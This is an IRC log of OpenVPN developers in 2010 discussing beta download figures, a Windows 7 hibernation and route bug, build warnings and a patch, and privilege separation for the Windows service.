evening 13:47 <@mattock> and "allmerged" has ipv6 support 13:47 < Praetorian|Mobil> mattock: cool, I have a setup that I would like to test with the new packages when they are ready. 13:47 < Praetorian|Mobil> 1 server with 6 clients all using ip6 13:48 < Praetorian|Mobil> inside the tunnel 13:48 <@mattock> great, IPv6 _and_ my debian packages are begging for testing :) 13:48 <@dazo> ipv6 in the tunnel ... that will make cron2 happy! 13:50 <@dazo> Praetorian|Mobil: your setup is using tun or tap devices? 13:50 <@dazo> if using tun ... that will be the new big thing for ipv6 support 13:51 < Praetorian|Mobil> heh, i think its tun.. its been working so well I have not had to ess with it 13:51 <@mattock> I'll check download statistics for 2.2-beta3 now 13:51 <@dazo> Praetorian|Mobil: now IPv6 is supported in TAP mode only, with manually configuring IPv6 addresses 13:52 < Praetorian|Mobil> dazo: correct, I setup both ends with addresses. 13:53 <@dazo> Praetorian|Mobil: yeah, that explains ... if it is possible to trick you into running 'allmerged' with tun mode ... that would be very much interesting :) 13:54 < Praetorian|Mobil> Ill give it a shot.. 13:55 < Praetorian|Mobil> build me a package (I'm not very good at building packages.) more of a generic network admin that does way to many things. 13:56 <@dazo> Praetorian|Mobil: cool! :) 13:58 < d303k> ok, i could reproduce the thing on win7 13:58 <@dazo> d303k: lovely! could you parse something sensible out of the log files? 13:59 < d303k> after coming back from hibernation two services use up 100% cpu 13:59 <@mattock> ok, so unless my command-line was screwed up, 2.2-beta3 has been downloaded 27515 times 13:59 <@mattock> I'll see how many of those are windows installers 13:59 <@dazo> mattock: that's a lot! 13:59 <@mattock> yep 13:59 <@mattock> in 6 days 14:00 < d303k> when i killed the openvpn.exe child of openvpnserv.exe the load got less but was not at 100% idle, yet 14:00 <@mattock> and no complaints so far... 2.2-beta3 is probably pretty stable 14:00 < d303k> stopping the service brought back 100% idle again 14:00 <@dazo> mattock: over 4500 downloads per day, that sounds too good to be true ... for a beta release ... 14:00 <@mattock> 22638 of those downloads are windows installers 14:00 <@mattock> dazo: we should not forget that 2.2-beta3 is the _first_ release on the page, and people never pay attention to what they're doing :P 14:01 <@dazo> mattock: true :) 14:02 < d303k> the verb 3 log didn't show anything after init seq completed 14:02 <@mattock> I'll check how many unique IPs have downloaded 2.2-beta3 14:02 < d303k> openvpn*.exe did not use any cpu 14:02 < d303k> the two services were started by svchost 14:03 <@dazo> jamesyonan: ^^^ do you pay attention to d303k findings? 14:03 <@mattock> ok, now we should get more realistic download statistics 14:03 <@mattock> filtered by source IP 14:03 <@jamesyonan> d303k: which process was using 100% cpu? openvpn.exe or openvpnserv.exe ? 14:04 < d303k> C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted was the one taking less cpu 14:04 <@mattock> although if there are several clients behind the same NAT, then that does not work 14:04 <@mattock> ok, windows installer of 2.2-beta3 has been downloaded from 6593 unique IPs 14:04 < d303k> C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork was the other one 14:05 <@dazo> mattock: what about to put future community releases on sf.net? ... they got mirroring and download statistics ... and it we might get some advertisements via sf.net announcements if it scores high up on the lists ... 14:05 < d303k> jamesyonan: none of the openvpn processes used a recognizable amount of cpu 14:06 <@mattock> dazo: I think we could put the releases to SF.net and Freshmeat as well as openvpn.net 14:06 <@jamesyonan> d303k: which process was using most of the CPU then, when usage was spiking to 100%? 14:07 < d303k> the two service processes mentioned above 14:07 < d303k> the latter one was the greater hog, though 14:07 <@dazo> mattock: agreed ... if I understand you right, having downloads only from sf.net, but pointers from openvpn.net and freshmeat.net to the sf.net download page ... 14:07 <@jamesyonan> svchost.exe? 14:07 < d303k> nd they calmed down only after stopping openvpnserv.exe 14:08 < d303k> well, svchost ist just the starter pay attention to the -k parameters 14:08 < d303k> i don't know what they are for yet 14:08 < d303k> but it might indeed have to do with tap behaving badly on resume 14:09 <@mattock> dazo: I was thinking about keeping openvpn.net the primary download page, but augmenting it with sf.net and freshmeat to increase visiblity further. And we could have links to alternate downloads pages (=sf.net and freshmeat) 14:09 <@mattock> personally I would not mind having the downloads in SF.net only, but that's also a political decisions 14:09 < d303k> jamesyonan: any specific thing i should pay attention on the upcoming next try 14:10 <@dazo> mattock: I understand the concept for the closed source release ... but for the open source/community edition, I think it would be better to move it ... also as they have pretty good download statistics, and the new beta interface is very much interesting in that regards .... plus good mirroring 14:11 <@mattock> dazo: I can suggest that... I agree that SF.net's download statistics are pretty good 14:11 <@mattock> and fun to watch :) 14:12 <@dazo> yeah :) And if we're able to get it up on the "top 20 downloads" list ... openvpn gets even more attention through their community mails as well 14:12 <@mattock> plus with this many downloads we would be one of the most active projects 14:13 <@jamesyonan> d303k: not sure -- svchost.exe is a windows app 14:13 <@dazo> mattock: yup! 14:14 <@jamesyonan> openvpnserv.exe defines two dependencies -- the TAP driver and the DHCP client. svchost is supposed to make sure these dependent services are started before starting openvpnserv.exe 14:14 < ecrist> mattock: did you have source download numbers? 14:14 <@jamesyonan> that's the main interaction 14:15 < d303k> jamesyonan: svchost.exe is used to start "normal" programs as services iirc 14:15 <@mattock> ecrist: so total of 6842 downloads from unique IPs... out of these 6593 were windows installers. 14:15 <@mattock> so ~300 source downloads 14:15 <@dazo> that sounds more likely 14:16 < d303k> i found instructions on how to find out which functions are called when it eats up cpu 14:16 <@mattock> although I'm pretty sure many of those connections are coming from behind corporate NAT firewalls 14:16 < d303k> i'l try to find out tomorrow at work 14:16 < d303k> http://www.msfn.org/board/topic/140264-how-to-get-the-cause-of-high-cpu-usage-caused-by-apps/ 14:16 < vpnHelper> Title: How to get the cause of high CPU usage caused by apps? - MSFN Forums (at www.msfn.org) 14:17 <@jamesyonan> d303k: are you saying that you're running openvpn.exe as a service, but not using the windows service control manager to do so? 14:17 <@mattock> James' signatures have been downloaded from 216 unique IPs... 14:18 <@dazo> mattock: agreed, some of the downloads have come through some NAT's ... but probably not over 16000 ;-) 14:19 < d303k> jamesyonan: no i'm saying svchost is not the scm process 14:19 <@mattock> I'd say more than 7000 but less than 10000 downloads 14:19 <@dazo> mattock: agreed 14:19 < d303k> the scm process is called services.exe 14:20 < d303k> and openvpnserv.exe is a child of it 14:20 < ecrist> mattock/raidz: any word on getting a section onto the forums for access server? 14:20 < d303k> and so are the two offending svchost.exe processes 14:20 < ecrist> https://forums.openvpn.net/viewtopic.php?f=6&t=7104 14:20 < vpnHelper> Title: OpenVPN Support Forum View topic - No Access Server (at forums.openvpn.net) 14:22 <@mattock> ecrist: raidz is probably the best person to answer that 14:22 < raidz> I will work on that today, we can plan on launching it Monday. 14:23 <@mattock> I think the official part of the meeting is over by now... 14:26 <@dazo> :) 14:26 < d303k> jamesyonan: just tried hibernation without openvpn runninf and the "svchost.exe -k LocalServiceNetworkRestricted" process used up some cpu for a while 14:26 * dazo need to head for bed ... still feeling the jetlag a little bit :) 14:27 <@mattock> dazo: good night! 14:27 < d303k> dazo: night 14:27 <@dazo> c'ya! 14:27 <@dazo> d303k: thx a lot for looking into the suspend stuff! Great work there! 14:27 < d303k> jamesyonan: trying again with ovpn and will be more patient 14:28 < d303k> dazo: nah 14:29 -!- dazo is now known as dazo_afk 14:32 <@mattock> I'll write the summary tomorrow 14:34 < d303k> jamesyonan: hm, this time coming back from hibernation worked, the routes are there and the LocalServiceNoNetwork service doesn't go nuts 14:35 < d303k> and cpu is idle now after a while of setteling down 14:38 <@jamesyonan> maybe the issue is triggered by the order in which services come out of hibernation 14:38 < d303k> jamesyonan: i'm trying again 14:39 -!- Praetorian|Mobil [~praetoria@pool-71-126-157-157.washdc.fios.verizon.net] has quit [] 14:40 < d303k> worked again 14:58 < d303k> jamesyonan: ok i can reproduce the issue again, but i'm not sure if it's really the one the user has 15:03 < d303k> the win7 runs in a VM on a ESX server. when i try to sleep (which does not work - win7 comes back instantly) before hibernating the LocalServiceNoNetwork service loops 15:03 < d303k> trying without openvpn again now 15:25 <@cron2> re 15:26 < d303k> final words for today: LocalServiceNoNetwork uses 100% cpu after a couple of the non-working sleeps on the VM as well as after hibernate after sleeping. that's when the route are not set 15:27 < d303k> however, i don't trust the ESX, i'll try to steal a laptop with win7 on it from a coworker tomorrow and verify my findings 15:27 < d303k> cron2: hi and good night to all 15:27 <@cron2> d303k: hi and good night :-) 15:28 < d303k> oh and as soon as i kill openvpn.exe cpu goes down to idle again 15:30 < d303k> ok that's it then for tonight 15:30 -!- d303k [~heiko@88.130.197.223] has quit [Quit: Konversation terminated!] 15:33 < raidz> Community server will be down for a bit, migrating it to new host 15:42 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 15:42 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 16:07 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:11 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 255 seconds] 18:24 -!- bGatti [~ben@cpe-024-074-150-231.carolina.res.rr.com] has left #openvpn-devel [] --- Day changed Fri Sep 17 2010 00:58 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:52 -!- dazo_afk is now known as dazo 02:09 -!- mattock1 [~samuli@93.106.136.138] has joined #openvpn-devel 02:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:11 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 272 seconds] 02:54 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 03:59 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 04:00 <@mattock1> dazo: I wonder if we can ever reach the top 20 on SF.net downloads... the numbers of the top projects are pretty impressive: http://sourceforge.net/top/toplist.php?type=downloads_week 04:00 < vpnHelper> Title: SourceForge.net: Top Downloads in the Past 7 Days (at sourceforge.net) 04:02 <@dazo> mattock1: I think with a proper release, we might reach this list somehow with time ... how many million downloads does OpenVPN brag about nowadays? 04:02 <@mattock1> hmm, not sure, but I remember hearing about 150,000 downloads per month 04:02 <@dazo> thats ~35000 per week 04:03 <@mattock1> something like that 04:03 <@mattock1> we'd be at position 70-75 or so 04:04 <@mattock1> I think we wouldn't have a chance in generic "project activity" statististics, as we only use SF.net Git 04:04 <@dazo> depending on how you calculate it ... 150' divded by 4 is 37.5' .... while 150 divided by 30 multiplied by 7 is 35' 04:05 <@dazo> true enough 04:05 <@dazo> but if we're going to talk about number of downloads .... sf.net will anyway be a more neutral counter ;-) 04:06 <@mattock1> I'm writing a mail to Francis about this... I think the download statistics would be the primary benefit 04:06 <@mattock1> I wouldn't count on getting to top 20 projects 04:06 <@dazo> yeah, for us ... but for the community it will be a signal of being more open source 04:07 <@dazo> it's also about building credibility among the community, and this is one step in that direction as well 04:07 <@mattock1> yep, or rather having a more open development model 04:07 <@dazo> yup! 04:26 <@d12fk> hi 04:27 <@d12fk> i've tested the sleep issue on a real win7-x64 and it's reproducable 04:28 <@d12fk> seems liek the route are not deleted/reset when openvpn does a soft-reset after it detects the connection timed out 04:29 <@d12fk> at least the `route print` output doesn't look sane anymore 04:30 <@mattock1> ok, mail sent 04:31 <@d12fk> after coming back from sleep the interface address isn't the other one from the /30 net but 169.254.224.x which should look familiar to you =) 04:31 <@mattock1> if I knew we would make it to top 20 on SF.net for sure I'd be 100% convinced about this... however, I think hosting files on SF.net also makes sense regardless 04:31 <@mattock1> d12fk: so it's not getting an IP and allocates one from the zeroconf(?) address space 04:31 <@mattock1> or whatever that's called... :) 04:32 <@mattock1> it seems Debian has fixed a security problem in OpenVPN 04:33 <@d12fk> it's getting the PUSH_REPLY from the server, but doesn't act upon it, i.e. i see no route addition msgs in the client log 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 SENT CONTROL [xxx.astaro.de]: 'PUSH_REQUEST' (status=1) 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 PUSH: Received control message: 'PUSH_REPLY,route 79.125. [...] 53.1.1,topology net30,ping 10,ping-restart 120,ifconfig 10.253.1.26 10.253.1.25' 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 OPTIONS IMPORT: timers and/or timeouts modified 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 OPTIONS IMPORT: --ifconfig/up options modified 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 OPTIONS IMPORT: route options modified 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 Preserving previous TUN/TAP instance: LAN-Verbindung 2 04:36 <@d12fk> Fri Sep 17 11:16:38 2010 Initialization Sequence Completed 04:37 <@d12fk> that's the log snipped of the reconnect 04:38 <@d12fk> the LocalServiceNoNetwork service uses up cpu again, but not 100% since the laptop is multicore 04:39 <@d12fk> it's 100% on one core though, same sight as yesterday 04:39 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:41 -!- mattock1 [~samuli@93.106.136.138] has quit [Ping timeout: 240 seconds] 05:36 <@cron2> so it assumes that the existing TUN/TAP is already configured right, and not re-configuring anything 06:02 <@dazo> it sounds so ... can it be that the TAP driver is suspended by Windows, and that it then tears down all routes .... and when Windows is resuming, it re-activates the TAP driver which puts up the device again ... which again leads OpenVPN to believe the routes are already present? 06:02 <@dazo> mattock: got any pointers to that security issue? 06:13 <@d12fk> dazo: the routes are actually there, but with the wrong interface address 06:14 <@dazo> d12fk: ahh ... that makes it even more obvious that the interface enumeration is messed up when Windows resumes again 06:14 <@d12fk> so instead of route.exe ADD 74.125.39.101 MASK 255.255.255.255 10.253.1.25 06:15 <@d12fk> the routes are route.exe ADD 74.125.39.101 MASK 255.255.255.255 169.254.224.x 06:16 <@d12fk> but they do not get set by ovpn again, i think they linger around and get the interface address assigned by the windows kernel when the tap itf goes down 06:16 <@d12fk> something like that 06:22 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:27 <@cron2> it's well possible that windows will unconfigure/reconfigure all interfaces upon shutdown/resume, and since OpenVPN doesn't know that, it won't tell the TAP driver the (fake) DHCP IP address 06:28 <@cron2> IP address assignment in OpenVPN-on-windows can be done in a number of ways, but the "classic" style is: openvpn calls an ioctl() to tell the TAP driver "if windows comes asking for a DHCP address, give it *this one*" - the fake DHCP server lives inside the TAP driver 06:29 <@cron2> so if the tap driver is reset (or even unloaded/loaded again, no idea how to test this) it will forget about IP address assignment, and all manually-installed routes will get bogus as well 06:34 <@mattock> dazo: no, could not find anything in the debian security tracker... 06:35 <@mattock> openvpn-specific Debian security issues are here: http://security-tracker.debian.org/tracker/source-package/openvpn 06:35 < vpnHelper> Title: Information on source package openvpn (at security-tracker.debian.org) 06:42 <@d12fk> cron2: that would be a good explaination 06:50 <@dazo> mattock: those issues are quite old ... I see CVE-2008-3459 mentioned explicitly in the commit log (svn -r3218 / git cbaf1991e44949000fc91) ... the others are most probably already covered in other patches and not highlighted in the commit logs ... but should probably be checked up, to be sure we're not regressing here 06:51 <@mattock> dazo: yes... it's possible that the new security issue has not been inserted into the security tracker... or that some old bug has been fixed in one of Debian's OpenVPN versions 06:52 <@dazo> CVE-2006-1629 - fc1f8ad57ef746d7af2f88ed1739be3f14891dd1 / -r1001 06:55 <@dazo> mattock: from the changelog I found most of them, the oldest one back to 2.1-beta6 (CVE-2005-3393) ... beta6 was announced 2005-11-02 ... and the commit log starts 2005-09-26, with several merges against the 2.0 code base ... so all of those changes are most likely covered 06:57 <@mattock> I think so too... but let's watch the debian security tracker in case a new issues pops up. The Debian Security mail for the server said this: "Security report based on the lenny release *** Fixed vulnerabilities TEMP-0534908 - openvpn" 06:57 <@dazo> mattock: agreed! 06:57 <@mattock> but this link does not work and the issue can't be found with other means 08:55 <@mattock> dazo: do you have community VPN configured? 08:56 <@dazo> mattock: not on the computer I'm behind now 08:56 <@mattock> ok... take a look at http://10.7.36.101:8010/waterfall when you can 08:57 <@mattock> there are total of 8 builds going on... Ubuntu 10.04 builds give some warnings, but finish properly 08:57 <@mattock> so "allmerged" and "2.2-beta" branches are tested on Ubuntu 10.04 i386/amd64 and Debian 5 i386/amd64 08:58 <@mattock> all builds were successful 08:58 <@mattock> now I'll move into packaging stuff 09:11 <@dazo> mattock: I've set it up on my work laptop now .... looking .... but I'm not sure I see the ubuntu builds ... 09:11 <@mattock> oh you were fast :) 09:11 <@mattock> yeah, you won't see them anymore, I disabled them to test packaging 09:11 <@dazo> heh 09:12 <@mattock> just a sec, I'll re-enable them and you'll see what's going on 09:13 <@mattock> ok, now 09:13 <@mattock> you can see the orange warnings about Ubuntu 09:13 <@mattock> s/about/on/g 09:14 <@dazo> yeah, interesting warnings 09:14 <@dazo> which gcc version are Ubuntu using? 09:15 <@mattock> let me check 09:15 <@mattock> root@ubuntu-1004-i386:~# gcc --version 09:15 <@mattock> gcc (Ubuntu 4.4.3-4ubuntu5) 4.4.3 09:16 <@mattock> btw. I was thinking that perhaps we should create the "openvpn-builds" mailing list... buildbot can spam quite a lot if there's a misconfiguration or something 09:16 <@mattock> that way only core devs would suffer :P 09:16 <@dazo> hmm ... interesting .... I can't recall to have seen those on Fedora (gcc 4.4.4) 09:16 <@dazo> mattock: good idea! 09:17 <@mattock> currently mails go to me directly, which is ok for initial testing 09:18 <@dazo> mattock: what's the CFLAGS set on Ubuntu? 09:18 <@mattock> where can I check them easily? 09:18 <@mattock> or how 09:18 <@dazo> good question? try echo $CFLAGS? 09:20 <@mattock> config.log states CFLAGS='-g -O2' 09:20 <@mattock> there were no related environment variables 09:20 <@dazo> hmm 09:21 <@mattock> then there's stuff in configure.ac which appends stuff to CFLAGS... 09:21 <@mattock> see here: http://pastie.org/1164957 09:22 <@dazo> which glibc version do you have? 09:22 <@mattock> libc6 2.11.1-0ubuntu7.2 09:22 <@dazo> it states that nice() and ftruncate() is defined with warn_unused ... either glibc headers have gotten stricter, or Ubuntu tries to force its users to be more careful 09:23 <@dazo> libc6!?!? 09:23 <@dazo> I'm on glibc-2.12 09:27 <@mattock> well, it's using glibc 2.11.1 09:27 <@mattock> isn't libc6 just a blast from the past? 09:27 <@dazo> yeah that makes more sense ... just surprised to see libc6 ... as that died many years ago on Linux, iirc 09:27 <@mattock> yep, it's just a convenience name for the metapackage, nothing else 09:28 <@dazo> mattock: the nice() issue is fair enough to clean up. The ftruncate() warning, I'm not so sure about, even though it always nice to check for errors ... a proper error handling needs to be implemented in that case 09:28 <@mattock> ok, so our CI server did something useful for the first time then :P 09:28 <@mattock> found build warnings 09:30 <@dazo> the first options.c warning is fair enough ... even though, I believe it is completely bogus (it complains about some defined macros) 09:30 <@dazo> the two second ones in options.c is really not looking like what I'd expect ... as there are no string formats on those lines at all 09:31 <@dazo> and push.c warnings seems rather odd as well 09:32 <@dazo> I honestly think Ubuntu has broken something in gcc or glibc ... which is not the first time ... 09:32 <@mattock> could be 09:33 <@dazo> ehh ... one of the ubuntu builds is using an unknown git commit ID for me ... 93dc9179e97816df6cae11009cecdff669a0a01b 09:34 * dazo refreshes his git tree ... he was in an old tree 09:36 <@dazo> ahh ... push.c warnings .... buf_printf (&buf, cmd) .... and it complains it is not: buf_printf (&buf, "%s", cmd) 09:36 <@dazo> that's fair enough warnings 09:38 <@dazo> for push.c that's reasonable to fix ... fixing options.c will not improve anything at all, except removing a bogus warning 09:47 <@dazo> mattock: http://pastie.org/1164999.txt ... can you try to add that patch? ... to see if that really removes the warnings 09:47 <@mattock> ok, just a sec 09:48 <@mattock> building 09:49 <@dazo> cool! 09:50 <@mattock> didn't see any warnings, but I'll verify it just in case 09:51 <@dazo> thx! 09:52 <@mattock> ok, running "make|grep -i warning" 09:52 <@dazo> that should do it 09:52 <@mattock> assuming warnings go to STDOUT 09:52 <@mattock> and not STDERR 09:52 <@mattock> nothing popped up 09:52 <@mattock> I'll try without the patch just in case 09:52 <@dazo> heh ... make 2>&1 | grep -i warning 09:53 <@dazo> but you'll need to do: rm misc.o options.o push.o status.o 09:53 <@dazo> to be sure these are rebuilt 09:53 <@mattock> I'm using non-patched sources on the other ubuntu VM 09:54 <@mattock> ok, running build without the patch 09:55 <@mattock> got a warning in misc.c 09:55 <@mattock> options.c... 09:56 <@mattock> yeah, it gave all the warnings if patch was not applied, and none with the patch 10:00 <@dazo> Okay, I'll propose a patch to the mailing list then. 10:15 <@mattock> hmm, buildbot has sent me 47 mails during my testing today... the "openvpn-builds" list is a _really_ good idea ;) 10:19 <@dazo> eek ... sounds so! 10:19 <@dazo> mattock: I've sent my patch to the ML now ... so I hope someone will review it quick 10:19 <@dazo> it's the same as you tested, just cleaned up a bit 10:20 <@mattock> yeah, the patch should be easy to undestand and ACK 10:20 <@dazo> I hope so :) 10:25 <@d12fk> cron2 was right 10:25 <@cron2> great 10:25 <@cron2> what about? :) 10:26 <@d12fk> teh tap adapter has no ipv4 address besides: 10:27 <@d12fk> " Autoconfiguration IPv4 Address. . : 169.254.123.9(Preferred)" 10:27 <@d12fk> so the routes show that address as well 10:28 <@d12fk> maybe the win32 code shouldn't trust that all is preserved after a soft-reset.. or something 10:29 <@d12fk> i'll leave that to you devs to decide =) 10:29 <@cron2> does an application know that the machine has been suspended and resumed? 10:30 <@cron2> (if --keepalive is not in use, and UDP transport used, OpenVPN might never notice that the machine slept for some time...) 10:30 <@d12fk> windows sends a WM_POWERBRAODCAST message around, at least that's what the GUI is reacting upon 10:31 <@cron2> we ("someone who understands how to do that, not me") could add that to OpenVPN "if this message is seen, fully re-initialize VPN" 10:31 <@d12fk> that would be james then... 10:32 <@d12fk> the gui shuts down ovpn on suspend and starts it again after resume 10:32 <@cron2> ah, so this whole problem only happens if the gui is not used? 10:32 <@d12fk> jepp 10:33 <@d12fk> well, i haven't tried if the gui is doing it right, but at least there some code that looks like it 10:33 <@d12fk> so, maybe that would be the services job to do 10:34 <@cron2> yep 10:34 <@d12fk> lets see if it can subscribe to power broadcasts 10:36 <@d12fk> jepp: SERVICE_CONTROL_POWEREVENT 10:36 <@d12fk> "Notifies a service of system power events. The dwEventType parameter contains additional information. If dwEventType is PBT_POWERSETTINGCHANGE, the lpEventData parameter also contains additional information." 10:37 <@d12fk> "If dwControl is SERVICE_CONTROL_POWEREVENT, this parameter can be one of the values specified in the wParam parameter of the WM_POWERBROADCAST message." 10:38 <@d12fk> http://msdn.microsoft.com/en-us/library/ms683241%28v=VS.85%29.aspx 10:38 < vpnHelper> Title: HandlerEx Callback Function (Windows) (at msdn.microsoft.com) 10:39 <@d12fk> mattock: do you have the special powers to poke james about this? 10:39 <@cron2> *lol* 10:39 <@cron2> I was *just* considering how to ask mattock the very same thing 10:39 <@mattock> hmm, special powers... perhaps I do, perhaps I do... :P 10:39 <@mattock> I got the power of Mozilla Thunderbird 10:39 <@mattock> and powers of persuasions 10:40 <@d12fk> thunder, you might be zeus then, behold! 10:40 <@mattock> you mere mortals :D 10:40 <@mattock> let me check the scrollback... 10:41 <@dazo> d12fk: I see the openvpn code scares you enough to keep you away of trying to poke into it :-P 10:42 <@d12fk> dazo: it's rather the lack of time 10:42 <@dazo> d12fk: fair 'nuff :) 10:42 <@mattock> ok, I'll poke James right now 10:42 <@d12fk> i'll have to touch the service code sooner or later, so if it's not fixd by then I'll just add it. but until i get resources for that project nothing will happen 10:44 <@dazo> d12fk: if you do, I'll make sure you'll get your fame time in the ChangeLog ;-) 10:44 <@d12fk> however, more and more of our customers use win7 so there's a fair chance for it to happen within the next two quarters... 10:45 <@d12fk> dazo: only nerds read changelogs =P 10:45 <@cron2> we need to put that into the announcement 10:45 * d12fk lols 10:45 * dazo makes a note about that 10:46 <@cron2> no, I'm fairly serious. that's what makes opensource work "hey, look, my work is so valuable that it is mentioned there" 10:46 <@cron2> (we did this for 2.2-beta3, the announcement mail has all the "who did what" stuff in there) 10:47 <@dazo> and that's why I've been doing that patch list summary for mattock ... to give exactly that feedback 10:47 <@d12fk> git shortlog? 10:47 <@dazo> yeah 10:47 <@dazo> even though, I did the de-tour with git request-pull as I had forgotten about git shortlog :-P 10:47 <@d12fk> any chance james adapts to git soon? 10:48 <@d12fk> it takes a couple of minutes to checkout the svn repo... 10:48 <@dazo> he has said it's on his agenda ... but he needs to change his own build tools to work with git first ... so I *hope* we can have moved completely over when we're releasing the final 2.2 10:49 <@d12fk> great 10:49 <@mattock> d12fk: just to be 100% sure... you're Heiko, right? 10:49 <@d12fk> mattock: yes 10:49 <@mattock> ok, I'll CC you 10:49 <@d12fk> k 10:50 <@mattock> ok, sent 10:51 <@mattock> ok, got to make dinner before getting back to work (server migration again) 10:52 <@cron2> oh, f00d, indeed, good plan 11:01 <@dazo> darn! you guys made me hungry now! 11:11 <@dazo> cron2: thx for the ACK! 11:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:32 -!- dazo is now known as dazo_afk 12:02 <@mattock> d12fk: are you still there? 12:17 <@mattock> ecrist: any way to send a instant message to all phpbb users? 12:18 < ecrist> yeah 12:18 <@mattock> we got retry the server migration today and there's somebody online 12:19 <@mattock> ecrist: how do I send the message? 12:21 < ecrist> looking 12:21 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 12:21 < ecrist> mattock: ACP -> System (tab) -> Mass e-mail 12:22 -!- openvpn2009 [patel@vortex.openvpn.net] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 12:23 <@mattock> ok, email... that's pretty heavy-duty. I was thinking of a pop-up message or something to warn logged-in users about the short server downtime 12:24 <@mattock> hmm, I guess pulling the plug for a few mins is acceptable (1 other registered user logged in now) 12:27 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:54 <@d12fk> jamesyonan: hi 12:54 <@d12fk> mattock: there 12:54 <@jamesyonan> hi 12:56 <@d12fk> jamesyonan: wanted to query you about my latest thoughts on starting ovpn through the service 12:58 <@d12fk> i think running ovpn with the LocalSystem acces token might introduce too many possibilities for abuse 13:00 <@d12fk> i like the idea better to run it with the least privileges and let the service do the privileged operations on demand 13:00 <@d12fk> two anonymous pipes could be the channel transporting the data 13:01 <@d12fk> they would ensure that no other process could use the service as the wouldn't have the handles for the pipe ends 13:01 <@d12fk> i don't kow how to run ovpn as another user, yet 13:02 <@d12fk> afaik by now you always need a password to get a token representing an account 13:03 <@d12fk> jamesyonan: any ideas how to solve this? 13:04 <@jamesyonan> does windows support anonymous pipes? 13:04 <@d12fk> yes sure 13:05 <@d12fk> that's how the gui connected to ovpn until recently 13:06 <@d12fk> in the pre management interface era =) --- Log closed Fri Sep 17 13:26:17 2010 --- Log opened Fri Sep 17 13:37:55 2010 13:37 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 13:37 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 0 voices, 7 normal] 13:38 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 13:40 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel --- Log closed Fri Sep 17 13:43:06 2010 --- Log opened Fri Sep 17 14:00:25 2010 14:00 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 14:00 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 0 voices, 8 normal] 14:00 -!- Irssi: Join to #openvpn-devel was synced in 32 secs 14:00 -!- ecrist_mac [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 14:01 < ecrist_mac> hey folks, with our group membership, we can issue openvpn host masks now, too. 14:01 < ecrist_mac> s/host masks/cloaks --- Log closed Fri Sep 17 14:05:09 2010 --- Log opened Fri Sep 17 14:11:10 2010 14:11 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 14:11 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 0 voices, 9 normal] 14:11 -!- Irssi: Join to #openvpn-devel was synced in 32 secs 14:16 -!- ecrist_mac1 [~ecrist@ms.choksondik.secure-computing.net] has joined #openvpn-devel 14:17 -!- ecrist_mac [~ecrist@pdpc/supporter/professional/ecrist] has quit [Ping timeout: 265 seconds] 14:44 -!- ecrist_mac1 [~ecrist@ms.choksondik.secure-computing.net] has left #openvpn-devel [] 14:55 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Remote host closed the connection] 14:55 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 14:58 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Changing host] 14:58 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 16:01 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 16:03 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel --- Log closed Fri Sep 17 16:20:47 2010 --- Log opened Fri Sep 17 17:51:06 2010 17:51 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 17:51 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 0 voices, 7 normal] 17:51 -!- Irssi: Join to #openvpn-devel was synced in 39 secs --- Log closed Fri Sep 17 18:06:29 2010 --- Log opened Fri Sep 17 18:23:52 2010 18:23 